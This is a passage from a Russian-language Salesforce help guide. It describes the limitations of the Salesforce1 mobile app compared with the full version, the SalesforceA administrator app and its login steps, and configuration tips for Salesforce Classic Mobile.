• Задача, закрытая посредством значка , отображается вычеркнутой до обновления списка.

• Порядок сортировки задач с приоритетом в списках задач определяется порядком отображения полей в
раскрывающемся списке «Приоритет».

• Большое количество задач и их взаимосвязей с другими записями может увеличивать время, необходимое для
просмотра задач или использования других функций в приложении Salesforce1.

• При наличии более 1 000 просроченных задач приложение Salesforce1 отображает пустые списки просроченных
задач. Чтобы просмотреть, закрыть, отложить просроченные задачи или удалить их крайние сроки, воспользуйтесь
полной версией системы.

• Макеты задач содержат уникальные элементы, облегчающие обработку задач. Данные элементы не могут быть
изменены, поэтому не отображаются в компактных макетах, но всегда доступны пользователям.

– Значки и отображают статус поля IsClosed пользователям с полномочием «Редактирование задач».
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– Значок отображает задачу, помеченную статусом «Высокий приоритет» (включая настраиваемый высокий
приоритет).

– Все задачи отображают тему.

– Все задачи отображают крайний срок (при его наличии и предоставлении пользователю соответствующего
полномочия).

– Задачи отображают основной контакт и организацию или другую запись (при их наличии).

Доступные поля каждого списка определяются параметрами организации.

Макеты записей задач и задачи из списка настраиваются посредством компактных макетов. Связанные списки, как
обычно, настраиваютсяпосредствомредакторамакетов страниц. Добавлениеполя темыили крайнего срока в любой
макет не влияет на внешний вид задач; данные поля не будут отображаться дважды.

Под встроенными элементами приложение Salesforce1 отображает не более трех дополнительных полей.

– Стандартныйкомпактныймакетдля задачсодержитдваполя: имяинтересаиликонтактаисвязаннуювозможность,
организацию или другую запись.

– Доступные поля задачи в связанном списке «Действия» определяются просматриваемой записью и способом
определения макета для данного объекта.

Дополнительную информацию см. в разделе «Компактные макеты».

Work.com в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Ниже перечислены действия, недоступные при использованиифункцийWork.com в приложении Salesforce1.

• Предоставление общего доступа к целям и показателям

• Связывание показателей с отчетами

• Обновление показателей, связанных с отчетами

• Связывание родительских целей и подцелей

• Добавление изображений целей

• Создание настраиваемых эмблем

• Запрос или предложение отзывов

• Просмотр настраиваемых полей показателей

• Создание, заполнение или отклонение сводок по производительности

• Управление циклами сводок по производительности

Отчеты и панели мониторинга в приложении Salesforce1: ограничения и отличия от полной версии
Salesforce

Отчеты

Примечания к доступности Salesforce1Функция

В отчетах отображается максимум 2000 строк аналогично
полной версии Salesforce.

Количество отображаемых строк

Группировки, используемые просматриваемым отчетом,
отображаются в виде столбцов в конце отчета.

Группировки
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Примечания к доступности Salesforce1Функция

ПриложениеSalesforce1поддерживает сводные, матричные
и табличные отчеты, но матричные и сводные отчеты

Форматы отчетов

отображаются в табличномформате. Составные отчеты
недоступны.

В Salesforce1нельзя просматривать отчеты, использующие
условное выделение.

Условное выделение

При открытии на вкладке «Отчеты» отчет нефильтруется.

Однако, если коснуться компонента панели мониторинга,
чтобы открыть отчет об источнике (если отчет является

Фильтры

сводкойматричныхотчетов), можноотфильтроватьзаписи,
нажимаяна значения в таблице. Табличныеили составные
отчеты не фильтруются.

Другие примечания об использовании отчетов в Salesforce1

• Отчеты, содержащие более трех полей типа «Кнопка-флажок», не поддерживают детализацию.

• Припросмотре в Salesforce1отчета, содержащегоболее 16 полей сводногорезюмирования, возникает сообщение
об ошибке.

• В Salesforce1отчетынеотображаютсячерез URL-адреса, использующие значения динамическихпараметров. Если
изменить URL-адрес таким образом, чтобы параметры передавались в отчеты, в Salesforce1 будет отображаться
пустой экран (запись отчета без возвращенных результатов).

Панели мониторинга

Примечания к доступности Salesforce1Функция

Salesforce1непозволяетредактироватьпанелимониторинга.
Панели мониторинга доступны только для чтения.

Редактирование панели мониторинга

Помимо повторного выполнения всех отчетов на панели
мониторинга, которое может занять некоторое время,

Обновление панели мониторинга

система позволяет быстро обновлять панельмониторинга
для отображения данных, полученных при последнем
выполнении.

Подобно полной версии системы Salesforce, приложение
Salesforce1 позволяет выполнять панели мониторинга

Просмотреть как

только от имени пользователя из иерархии ролей. Тем не
менее, при использовании приложения Salesforce1
разрешается выбирать любогопользователя организации.
Привыборепользователявнеиерархииролейотображается
ошибка.
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Примечания к доступности Salesforce1Функция

ПанелимониторингаLightning Experience, укоторыхбольше
трехстолбцов, отображаютсяна телефонахилипланшетах
в трехстолбцовом макете.

Макет панели мониторинга Lightning Experience

Другие примечания об использовании панелей мониторинга в Salesforce1
Иногда данные, отображаемые компонентом панели мониторинга, могут не синхронизироваться с данными отчета,
отображаемогонатойжестранице. Нижеперечисленыдействия, выполняемыепринесоответствииданныхкомпонента
панели мониторинга отображаемому отчету.

• Панельмониторингаобновляетсяотименинастроенногоиливыполняющегопользователя, тогда какотчет всегда
выполняется от имени текущего пользователя.

• Отчетбылобновленпозжепанелимониторинга. Отчетобновляетсяприкаждомпросмотре (есливынеработаете
автономно). Однако компонент панели мониторинга обновляется только при обновлении связанной панели
мониторинга.

Подобноевременноенесоответствиеможет такжевстречатьсяприиспользованииполнойверсиисистемы, гдеотчеты
идиаграммыпанелимониторингаотображаютсянаотдельныхстраницах. ПрииспользованииприложенияSalesforce1
отчеты и диаграммы панели мониторинга отображаются на одной странице.

Диаграммы

Другие примечания об использовании диаграмм в Salesforce1

• Еслипользовательне активировалпараметр «ВключитьрасширенныедиаграммывSalesforce1», вместоновых
диаграмм Lightning Experience будут отображаться устаревшие диаграммы Salesforce Classic. После включения
параметра«ВключитьрасширенныедиаграммывSalesforce1»длявсехпользователейотобразятсярасширенные
диаграммы, независимо от переключения на Lightning Experience на полном веб-сайте Salesforce.

• Расширенные диаграммы работают по аналогии с диаграммами Lightning Experience, но с некоторыми
ограничениями.

– Конические, точечныеитабличныедиаграммынеподдерживаютсяиотображаютсявформе горизонтальных
диаграмм. Линейные диаграммы с накоплением не поддерживаются и отображаются в форме линейных
диаграмм.

– В расширенных диаграммах отображаются только 100 первых групп в порядке сортировки по умолчанию.

– Публикация расширенных диаграмм в Chatter не поддерживается.

– ПриоткрытииSalesforce1панелимониторинганесохраняютсяавтоматическинавашеустройстводляпросмотра
офлайн. Однако при просмотре панели мониторинга она сохраняется в кэше устройства, поэтому позже ее
можно просмотреть в автономном режиме.

• Диаграммы отчета недоступны.

Chatter в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Ниже перечислены действия, недоступные при использовании Chatter в мобильном приложении Salesforce1.

Ленты

• Отправка или просмотр сообщений Chatter.

• Просмотр статистики по действиям Chatter или статуса влияния в Chatter.
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• Публикация общедоступных сообщений.

• Добавление или просмотр избранного Chatter.

• Фильтрация записей.

• Поиск по лентам профилей и записей.

• Приглашение сотрудников в Chatter.

• Использование смайликов (комбинации символов, наполняющие сообщения эмоциями, например, улыбка).

• Редактирование сообщений или комментариев ленты (но пользователи могут просматривать элементы ленты,
отредактированные в полной версии системы).

Темы (только мобильное веб-приложение Salesforce1)

• Просмотр самых обсуждаемых тем.

• Редактирование сведений о теме (имя и описание).

• Присвоение тегов избранным темам.

• Одновременныйпросмотрбольшогоспискатем, помеченныхтегами (чтобыпросмотретьвсе темы, коснитесьпункта
«Больше»).

• Назначение тем записям.

• Просмотр записей, назначенных теме.

• Просмотр данных связанных списков: «Связанные темы», «Связанные группы», «Знатоки тем» и «Недавние файлы».

• Просмотр тем для автозаполнения при поиске.

• Удаление тем.

Люди и профили

• Редактирование сведений профиля в загружаемом приложении Salesforce1 для устройств iOS.

• Загрузка фотографии для профиля посредством безопасного мобильного обозревателя Good Access™.

• Использование настраиваемых профилей.

Группы

• Приглашение клиентов в личные группы, поддерживающие клиентский доступ.

• Добавьте записи в группы Chatter с клиентами, использующими действие публикации «Добавить запись».

• Отмена запросов на присоединение к личным группам.

• Изменение сообщений электронной почты и настроек внутрипрограммных уведомлений для групп сообществ.

• Выполнение следующих действий менеджера и ответственного за группу:

– Удалите файлы из списка файлов группы.

– Загрузка фотографий для группы из загружаемых приложений Salesforce1.

Chatter Messenger

• Общение с людьми.

• Просмотр журнала чата.

Файлы

• Просмотр типовфайлов, кроме: .doc, .docx, .pdf, .ppt, .pptx, .xls, .xlsx, а также все графическиефайлы,
включая форматы .gif, .jpg и .png.

• Доступкприложению Salesforce Files посредствомменюнавигацииприложенияSalesforce1 (толькодляпользователей
массового портала).
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• Загрузка файлов посредством безопасного мобильного обозревателя Good Access.

Вопросы Chatter в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

• Чтобы открыть раскрывающееся меню действий для вопроса, коснитесь нужного вопроса.

• Похожие вопросы и статьи базы знаний не отображаются при публикации вопросов.

• Выбор лучших ответов не поддерживается.

Сообщества Salesforce в приложении Salesforce1: ограничения и отличия от полной версии
Salesforce
Сообщества Salesforce в приложении Salesforce1 аналогичны полной версии системы. Ниже перечислены некоторые
различия.

• Менюнавигации приложения Salesforce1 в сообществе отличаются от меню навигации во внутренней организации.

– Менюнавигации отображает только вкладки, добавленные администратором в данное сообщество посредством
параметра администрирования сообщества «Вкладки и страницы».

– Вкладка Chatter в приложении Salesforce1 отображает три пункта меню. Если сообщество поддерживает вкладку
Chatter, то меню навигации содержит элементы «Ленты», «Люди» и «Группы».

– События и элементы Today не поддерживаются в сообществах при доступе через Salesforce1 и не отображаются в
меню навигации.

– Задачи доступны только пользователям с полномочием «Редактирование задач».

– Статьи Salesforce Knowledge не поддерживаются в сообществах при доступе через Salesforce1 и не отображаются
в меню навигации.

• Лента «Вся компания» не поддерживается.

• Фирменный стиль Site.com не поддерживается.

• Приложение Salesforce1 не поддерживает страницу «Управление сообществом».

• Участники сообщества не могут отмечать личные сообщения как недопустимые.

• Приложение Salesforce1неподдерживаетфункцию «Репутация». Темнеменее, если даннаяфункцияподдерживается
полной версией системы, то пользователи могут накапливать очки при использовании приложения Salesforce1.
Например, если менеджер сообщества настраивает систему очков и определяет значения очков за создание и
комментированиесообщения, топользователисообществамогут зарабатыватьочкиприсозданиикаждогосообщения
и комментария в приложении Salesforce1. Пользователи могут просматривать свои очки только в полной версии
системы.

• Поиск охватывает сообществои возвращает элементы толькоиз текущего сообщества. Единственнымисключением
являются записи, используемые разными сообществами.

• Внешниепользователинаосноверолеймогутутверждатьиотклонятьзапросынаутверждениепосредствомсвязанного
списка записей «Журнал утверждений», но не могут отправлять запросы на утверждение.

• Список уведомлений пользователя содержит уведомления от всех сообществ с его участием. Имя сообщества,
являющегося источником уведомления, отображается после временной отметки.

• Ссылка справки не отображается внешним пользователям, имеющим доступ к сообществам.

• В мобильном веб-приложении Salesforce1фотографии внешних пользователей не содержат никаких указаний, что
пользователь внешний. В полной версии Salesforce и в загружаемом приложении Salesforce1 левый верхний угол
фотографии внешнего пользователя окрашен в оранжевый цвет.

1163

Salesforce1Настройка и обслуживание организации Salesforce



• В мобильном веб-приложении Salesforce1 в списке «Люди» рядом с именем каждого пользователя отображается

фотография по умолчанию ( ). Нажмите пользователя, чтобы перейти на страницу его профиля и просмотреть
загруженнуюфотографию. В загружаемом приложении Salesforce1фотографии отображаются рядом с именами
пользователей в списке «Люди».

• Способ предоставления доступа к сообществам посредством приложения Salesforce1 определяется шаблоном
сообществаилицензиямипользователей. Дополнительнуюинформациюсм. вразделе «Доступксообществампосредством
приложения Salesforce1» справки Salesforce.

• Salesforce Knowledge не поддерживается сообществами в мобильном веб-приложении Salesforce1 и загружаемых
приложениях Salesforce1 для платформ iOS и Android.

• Участники групп в сообществах не могут редактировать свои адреса электронной почты и настройки
внутрипрограммныхуведомленийSalesforce1. Вкачествевременногорешенияпользователимогутнастроитьпараметры
групповых уведомлений по электронной почте для пункта «Каждое сообщение» в сообществе в полной версии
системы. Таким образомможно автоматически включить уведомления по электроннойпочте и внутрипрограммные
уведомления в Salesforce1 для группы.

Утверждения в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Ниже перечислены действия над утверждениями, которые не поддерживаются мобильным приложением Salesforce1.

• Отзыв запросов на утверждение.

• Переназначение запросов на утверждение.

• Выбор вручную следующего ответственного за утверждение. При обработке запросов на утверждение, требующих
данного выбора, ответственный за утверждение должен выполнить вход в полную версию системы Salesforce.

Кроме того:

• Связанный список «Журнал утверждений» не отображает комментарии.

• Уведомления Salesforce1 для запросов на утверждение не отправляются очередям. Рекомендуем добавить отдельных
пользователейв качественазначенныхответственныхза утверждениедля каждого этапа утверждения, использующего
очередь. Вэтом случаеполучение уведомленийо запросахна утверждение вмобильномприложениибудет доступно
хотябыданнымпользователям. Чтобыназначитьответственностьзаутверждениеочередямиотдельнымпользователям,
установитефлажок«Автоматическиназначатьответственнымзаутверждение»вместофлажка«Автоматически
назначать очереди» в этапе утверждения.

• Уведомления Salesforce1 для запросов на утверждение отправляются только пользователям, которым доступна
утверждаемая запись. Назначенныеответственныеза утверждение, которыенеимеютдоступа к записи, могутполучать
электронные уведомления об утверждении, но обрабатывать запросы на утверждение только после предоставления
доступа к записи.

• При использовании утверждений в сообществах внешние пользователи на основе ролей могут просматривать и
выполнять действия посредством связанного списка «Журнал утверждений», но не могут отправлять запросы на
утверждение.

Уведомления Salesforce1: ограничения
• Приложениеотображаетсписокуведомлений, которыйсодержитпоследние20уведомлений, полученныхзапоследние

90 дней.

• По умолчаниювсплывающие уведомления отображаютминимум сведений; данный алгоритмпозволяет исключить
распространениеконфиденциальныхданныхпосредствомстороннейслужбы. Чтобывключитьполноесодержимое
во всплывающие уведомления (например, публикацию или комментарий, имя группы Chatter или описание задачи),
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в меню «Настройка» полной версии программы введите «Уведомления Salesforce1» в поле «Быстрый поиск»,
затем выберите «Уведомления Salesforce1». Далее выберите «Включить полное содержимое во всплывающих
уведомлениях» и примите условия от имени вашей компании.

• Мобильное веб-приложение Salesforce1 использует интерфейс Streaming API. Ограничения для Streaming API
применяются к внутрипрограммным уведомлениям мобильного веб-приложения.

• При отправке записи на утверждение в Salesforce вы можете добавить комментарии. Эти комментарии попадают на
страницу подробных сведений на этапе проверки в Salesforce. В Salesforce1 нельзя просматривать комментарии во
время просмотра подробных сведений об утверждении.

Безопасность в Salesforce1: ограничения и отличия от полной версии Salesforce

Когдапользователь, укоторогонетполномочия «Просмотрзашифрованныхданных», клонируетзапись, взашифрованных
записях отображаются скрытые данные.

Настройки Salesforce в приложении Salesforce1: ограничения и отличия от полной версии
Salesforce
Настраиваемые начальные страницы

• В отличие от полной версии системы Salesforce, приложение Salesforce1 не поддерживает переадресацию входа на
приложения Salesforce или настраиваемые вкладки «Начальная страница». Чтобы сохранить данную переадресацию
для пользователей, выполняющих вход в систему Salesforce посредством мобильного обозревателя, выключите
мобильное веб-приложение Salesforce1. Данное действие может быть выполнено для отдельного пользователя или
всей организации.

Настраиваемые действия и кнопки

• Приложение Salesforce1 не поддерживает настраиваемые кнопки, добавляемые в раздел «Кнопки» макета страницы и
использующие URL-адрес или страницу Visualforce в качестве источника содержимого. Помните, что страницы
Visualforce могут использоваться в приложении Salesforce1 только после включения их поддержки.

Настраиваемые ссылки, настраиваемые кнопки, добавленные в списковые представления, и настраиваемые кнопки,
определяющиеисточниксодержимогокак «OnClick JavaScript», неподдерживаютсявприложенииSalesforce1.

• Размер настраиваемых изображений, используемых для значков действий, не должен превышать 1 Мб.

Страницы Visualforce

• Стандартные вкладки, вкладки настраиваемых объектов и списковые представления, переопределенные страницей
Visualforce, не поддерживаются приложением Salesforce1. Данная страница Visualforce отображается пользователям
полной версии системы, тогда как пользователям приложения Salesforce1 будет отображаться стандартная страница
Salesforce1 для объекта. Данное ограничение позволяет использовать объекты в приложении Salesforce1.

• Встроенные страницы Visualforce (страницы, добавленные в макет страницы), содержащие компонент
<apex:enhancedList>, могут препятствовать корректной работе приложения Salesforce1 на устройствах iOS.

• Еслиширина страницы Visualforce, просматриваемой на устройстве Android, превышает ширину окна просмотра, то
горизонтальная прокрутка не поддерживается. Рекомендуем уменьшить ширину страницы.

Страницы Lightning

• Страница Lightning позволяет добавлять не более 25 компонентов.

Программные настройки

• Данныепрограммныенастройкипользовательскогоинтерфейсанеподдерживаются: веб-вкладкииэлементы S-Control.
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SalesforceA

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения SalesforceA:
• «Управление

пользователями»

Данное приложение позволяет управлять пользователями и просматривать сведения
для организаций Salesforce посредством мобильного устройства.

SalesforceA — этомобильноеприложениедляадминистраторовSalesforce. Приотсутствии
на рабочем месте администратор может использовать телефон или планшетный
компьютердлявыполненияважныхзадачадминистрирования (например, восстановление
паролей, заморозка пользователей, назначение наборов полномочий и просмотр
текущего статуса системы).

Приложение SalesforceA предоставляется бесплатно. Чтобы загрузить приложение,
воспользуйтесь интернет-магазином Google Play Store для телефонов и планшетных
компьютеров Android или Apple App Store для устройств Apple iPhone, iPod Touch и iPad.

Общие сведения об организации
Страница общих сведений содержит указанные ниже данные.

• Количество замороженных и заблокированных пользователей

• Android: Время следующего планового обслуживания

• iOS: Статус доверия

Для пользователей Android: значок навигации отображается в верхнем левом углу. Чтобы открыть меню навигации,
коснитесь данного значка.

Для пользователей iOS: навигация осуществляется на панели действий в нижней части экрана.

Управление пользователями
Чтобы просмотреть список пользователей или найти нужного пользователя, коснитесь «Пользователи» в меню
навигации. Чтобы выполнить указанные ниже действия, коснитесь нужного имени.

• Просмотр или редактирование сведений о пользователе

• Заморозка, деактивация или повторная активация пользователя

• Восстановление пароля пользователя

• Назначение наборов полномочий
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Чтобы просмотреть указанные ниже данные, откройте страницу связанных сведений.

• Текущие наборы полномочий пользователя

• Журнал входов пользователя

Дополнительные сведения
Для пользователей Android: меню навигации обеспечивает быстрый доступ к указанным ниже данным.

• Сообщество успеха Salesforce

• Примечания к выпуску Salesforce

• Статус системы
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Для пользователей iOS страницы с ресурсами обеспечивают быстрый доступ к указанным ниже данным.

• Новости и события администратора

• Trailhead

• Доверие Salesforce

• Ответы Salesforce

• Примечания к выпуску Salesforce

СМ. ТАКЖЕ:

Выполнение входа в приложение SalesforceA

Выполнение входа в несколько организаций посредством приложения SalesforceA
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Выполнение входа в приложение SalesforceA

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения SalesforceA:
• «Управление

пользователями»

Выполните вход в мобильное приложение SalesforceA для выполнения важных задач
администрирования для организации Salesforce.

Администратор Salesforce может использовать приложение SalesforceA для выполнения
входа в производственную организацию (по умолчанию), безопасную среду или
настраиваемый узел. Выбор нужной среды или узла выполняется посредством меню
узлов.

• Для пользователей iOS: откройте меню узлов посредством значка шестеренки в
верхнем правом углу страницы входа.

• Для пользователей Android: откройте меню узлов посредством кнопки меню
устройства.

При необходимости введите секретный код. Чтобы изменить данный параметр
безопасности, последовательно выберите пункты «Настройка» «Связанные
приложения»внастольномвеб-приложенииSalesforceищелкнитезапись«SalesforceA».

После входа отображается страница общих сведений.

СМ. ТАКЖЕ:

SalesforceA

Выполнение входа в несколько организаций посредством приложения SalesforceA
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Выполнение входа в несколько организаций посредством приложения SalesforceA

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения SalesforceA:
• «Управление

пользователями»

Рекомендуем использовать приложение SalesforceA на мобильном устройстве для входа
в несколько администрируемых организаций Salesforce. После выполнения входа
приложение позволяет свободно переключаться между организациями.

1. Чтобы открыть меню, коснитесь значка навигации. Для пользователей iOS: нажмите
кнопку «Подробнее».

2. Коснитесьстрелкивнизнапротивсобственногоименипользователя. Данноедействие
инициирует отображение списка учетных записей.

3. Коснитесь «+ Добавить организацию». Чтобы выбрать безопасную среду или
настраиваемый узел, коснитесь значка шестеренки в верхнем правом углу (для
пользователей iOS) или кнопки меню устройства (для пользователей Android) и
выберите нужный узел.

4. Выберите ранее сохраненное имя пользователя или коснитесь «Входпосредством
другого имени пользователя» для добавления учетной записи.

Ниже перечислены действия, доступные в списке учетных записей.

• Переключение между организациями

• Просмотр типа каждой организации (производственная или безопасная)

• Просмотр версии каждой организации

Чтобы открыть меню навигации, коснитесь стрелки вверх. Для пользователей iOS:
нажмите кнопку «Подробнее».

СМ. ТАКЖЕ:

SalesforceA
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Salesforce Classic

Общие сведения о приложении Salesforce Classic Mobile для администраторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Приложение Salesforce Classic Mobileпредоставляет участникамрабочих группудаленный
доступ к последним данным Salesforce на мобильных устройствах Android™, BlackBerry® и
iPhone®. Приложение Salesforce Classic Mobileобменивается даннымис системой Salesforce
помобильнымилибеспроводнымсетямихранитлокальнуюкопиюданныхпользователя
в собственнойбазеданныхнамобильномустройстве. Пользователимогутредактировать
локальные копии записей Salesforce в автономном режиме и отправлять внесенные
изменения в систему Salesforce после восстановления подключения. Кроме того,
приложение поддерживает оперативную загрузку ключевых сведений прямо в систему
Salesforce или приложения Force.com AppExchange по итогам важного вызова, встречи
или сообщения эл. почты.

Полная версия приложения Salesforce Classic Mobile доступна только при наличии
лицензии Salesforce Classic Mobile. Прииспользованииверсии Unlimited Edition, Performance
Edition или Developer Edition компанияSalesforceпредоставляетоднумобильнуюлицензию
для каждой лицензии Salesforce. При использовании версии Professional Edition или
Enterprise Edition мобильные лицензии приобретаются за дополнительную плату.

Любой пользователь Salesforce без мобильной лицензии может загрузить бесплатную
неполную версию приложения Salesforce Classic Mobile. Бесплатная версия:

• Поддерживает меньше стандартных объектов

• Не поддерживает настраиваемые объекты

• Не позволяет администраторам настраивать или создавать мобильные конфигурации

• Недоступна пользователям партнерского портала

Прим.: Приложения для устройств Android, BlackBerry и iPhone доступны на английском, японском, французском,
немецком и испанском языках. Чтобы включить приложение Salesforce Classic Mobile в организации, обратитесь в
компанию Salesforce.

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile
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Общие сведения о стандартной конфигурации Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Мобильные конфигурации для приложения Salesforce Classic Mobile — это наборы
параметров, которыеопределяютданные, передаваемыесистемойSalesforceнамобильные
устройства пользователей, а также пользователей, которые будут получать эти данные.
Стандартная мобильная конфигурация доступна организациям Professional Edition,
Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition. Администраторы
не могут просматривать или редактировать стандартную мобильную конфигурацию.

Стандартная мобильная конфигурация автоматически назначается пользователям при
активации учетной записи Salesforce на поддерживаемых мобильных устройствах
посредством приложения Salesforce Classic Mobile.

Стандартная мобильная конфигурация:

• позволяет пользователям с назначенной мобильной лицензией устанавливать и
активировать приложение Salesforce Classic Mobile;

• позволяет пользователям без назначенной мобильной лицензии устанавливать и
активировать бесплатную версию приложения Salesforce Classic Mobile.

Чтобы запретить пользователям активацию приложения Salesforce Classic Mobile,
рекомендуем отключить поддержку Salesforce Classic Mobile.

Нижеперечисленыобъекты, поддерживаемыестандартноймобильнойконфигурацией.

• Организации

• Активы

• Обращения

• Контакты

• Панели мониторинга

• События

• Интересы

• Возможности

• Отчеты

• Решения

• Задачи

Прим.:

• Стандартная конфигурация поддерживает лишь некоторые объекты, доступные в приложении Salesforce Classic
Mobile.

• Приложение Salesforce Classic Mobile не поддерживает вкладку «Активы», но позволяет просматривать активы
организаций, обращений и контактов в виде связанного списка.

Стандартная конфигурация автоматически синхронизирует записи Salesforce, недавно просмотренные пользователями
в приложении Salesforce Classic Mobile. Пользователимогут искать записи, которые не синхронизируются автоматически;
запись, загруженная пользователем, добавляется в набор данных. Помимонедавнопросмотренных записей, стандартная
конфигурация синхронизирует действия, закрытые за последние пять дней, и открытые действия, которые должны быть
закрыты в течение следующих 30 дней.
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Советы и рекомендации по внедрению приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Данный раздел содержит советы и рекомендации по настройке приложения Salesforce
Classic Mobile.

Создание минимальных наборов данных
• Рекомендуем использовать в мобильных конфигурациях минимальные наборы

данных. Минимальные наборы данных позволяют значительно повысить
производительность приложения Salesforce Classic Mobile и упростить процесс его
использования. Несмотряна всепреимущества активнойдоставкибольшогообъема
данных, записи, являющиесяважнымидля ежедневнойработыпользователей, могут
легко затеряться среди других данных, доступных на мобильных устройствах.
Небольшиенаборыданныхоказываютсяболее эффективными, так какприложение
Salesforce Classic Mobile синхронизируется с системой Salesforce каждые 20 минут,
благодаря чему текущие данные постоянно пополняются новыми и обновленными
записями. Кроме того, пользователи могут самостоятельно искать записи, которые
не были автоматически синхронизированы с мобильными устройствами.

Чтобы создать небольшой набор данных, выполните указанные ниже действия.

– Добавьте объекты в дерево набора данных. Например, чтобы создать набор
данных, содержащийтолькоконтакты, связанныесмобильнымиорганизациями,
взамен всех контактов пользователя, рекомендуем добавить контакты в качестве
дочернего объекта для объекта «Организации».

– Рекомендуемзадавать значение «Все записи» фильтруответственностиза записи
только при использовании модели общего доступа «Личный». Скорее всего,
пользователяммобильныхустройствнетребуетсядоступковсемзаписямобъекта.
Например, рекомендуем добавить в набор данных только собственные
возможности или возможности, принадлежащие рабочей группе со своим
участием, взамен всех возможностей.

– Воспользуйтесь фильтрами, синхронизирующими наиболее важные записи.
Например, наборданных, содержащийтолько собственныевозможности, может
быть дополнительно отфильтрован по возможностям, которые должны быть
закрыты в текущем месяце.

– Чтобы предотвратить бесконтрольное увеличение размера набора данных,
укажите максимальное количество записей. Как правило, один набор данных
должен содержать не более 2 500 записей.

• Чтобы создать минимальный набор данных, рекомендуем также назначить мобильность списку недавних элементов
Salesforce, добавить наборы данных и задать фильтрам ответственности за записи значение «Нет (только поиск)».
Набор данных пользователя пополняется недавно просмотренными записями Salesforce, которые синхронизируют
дополнительныеданныенаосновеиерархиинаборовданных. Например, создайтенаборданных, содержащийобъект
«Организации» на корневом уровне, и добавьте объекты «Контакты», «Задачи» и «События» в качестве дочерних
наборовданных. Такимобразом, присинхронизацииорганизацииизсписканедавнихэлементовSalesforceприложение
Salesforce Classic Mobile будет также синхронизировать контакты, задачи и события, связанные с данной организацией.

• Еслиполя, которыедолжныиспользоваться в качествефильтровдлянаборовданныхилимобильныхпредставлений,
не известны, рекомендуем использовать поле «Дата последнего действия». Например, настройте фильтр,
синхронизирующий контакты с действиями, зарегистрированными на текущей неделе или в текущем месяце. В
отличие от поля «Дата последнего изменения», отображающего время изменения основной записи, поле «Дата
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последнего действия», отображающее время регистрации связанных задач и событий, является более эффективным
при определении актуальных записей.

Назначение мобильности нужным записям
• Прежде чем назначить мобильность настраиваемому объекту, убедитесь, что функции объекта поддерживаются

приложением Salesforce Classic Mobile. Приложение Salesforce Classic Mobile не поддерживает элементы S-Control,
гибридное содержимое, поля слияния, поля изображения и настраиваемые ссылки.

• Чтобысоздать соответствующийнабордействий, назначьтемобильностьобъектам «Задачи» и «События» накорневом
уровне иерархии наборов данных и добавьте их ниже родительских объектов (например, контакты, организации и
возможности). Добавление задач и событий на разные уровни позволяет пользователям просматривать личные
действияидействия, связанныес записями, намобильныхустройствах. Рекомендуемизбегатьназначениямобильности
всемужурналу действийилибольшомуколичествучужих задачи событий. Какправило, количество задачи событий,
используемых в организации, превышает количество записей любого другого типа, поэтому большое количество
действий может стать причиной резкого увеличения размера наборов данных.

• Чтобы разрешить торговым представителям, работающим вне офиса, доступ к подробному инвентарному списку,
добавьте объект «Продукты» на корневой уровень иерархии наборов данных. Размещение объекта «Продукты
возможности» ниже объекта «Возможности» не инициирует назначение мобильности всем продуктам.

• Чтобыразрешитьпользователямпереназначениезадачилиизменениеответственныхзазаписи, назначьтемобильность
объекту «Пользователь», позволяющему просматривать имена других пользователей на мобильных устройствах.
Рекомендуем избегать назначения мобильности всем записям пользователя; взамен, настройте фильтры на основе
роли или профиля.

• Убедитесь, что пользователи, назначенные мобильной конфигурации, имеют доступ ко всем полям, используемым
вкритерияхфильтрацииконфигурации. Еслиполе, используемоевкритерияхфильтрациинабораданных, недоступно,
то приложение Salesforce Classic Mobile не синхронизирует записи для текущего или дочерних наборов данных.

• Чтобы обойти ограничения, заданные для приложения Salesforce Classic Mobile, рекомендуем воспользоваться полями
формулы кросс-объекта. Например, если приложение Salesforce Classic Mobile не поддерживает кампании, то объект
«Кампании» не может быть добавлен в качестве набора данных, а объект «Возможности» не может быть добавлен в
качестведочернегонабораданных, используемогодляизвлечениясвязанныхзаписей. Темнеменее, системапозволяет
создать текстовоеполеформулыдляобъекта «Возможности», содержащееимяродительскойкампании. Данноеполе
должно быть доступным, но может отсутствовать в макетах страниц. Объект «Возможности» должен быть добавлен
в набор данных, а новое поле формулы должно быть использовано для фильтрации возможностей, связанных с
отдельной кампанией.

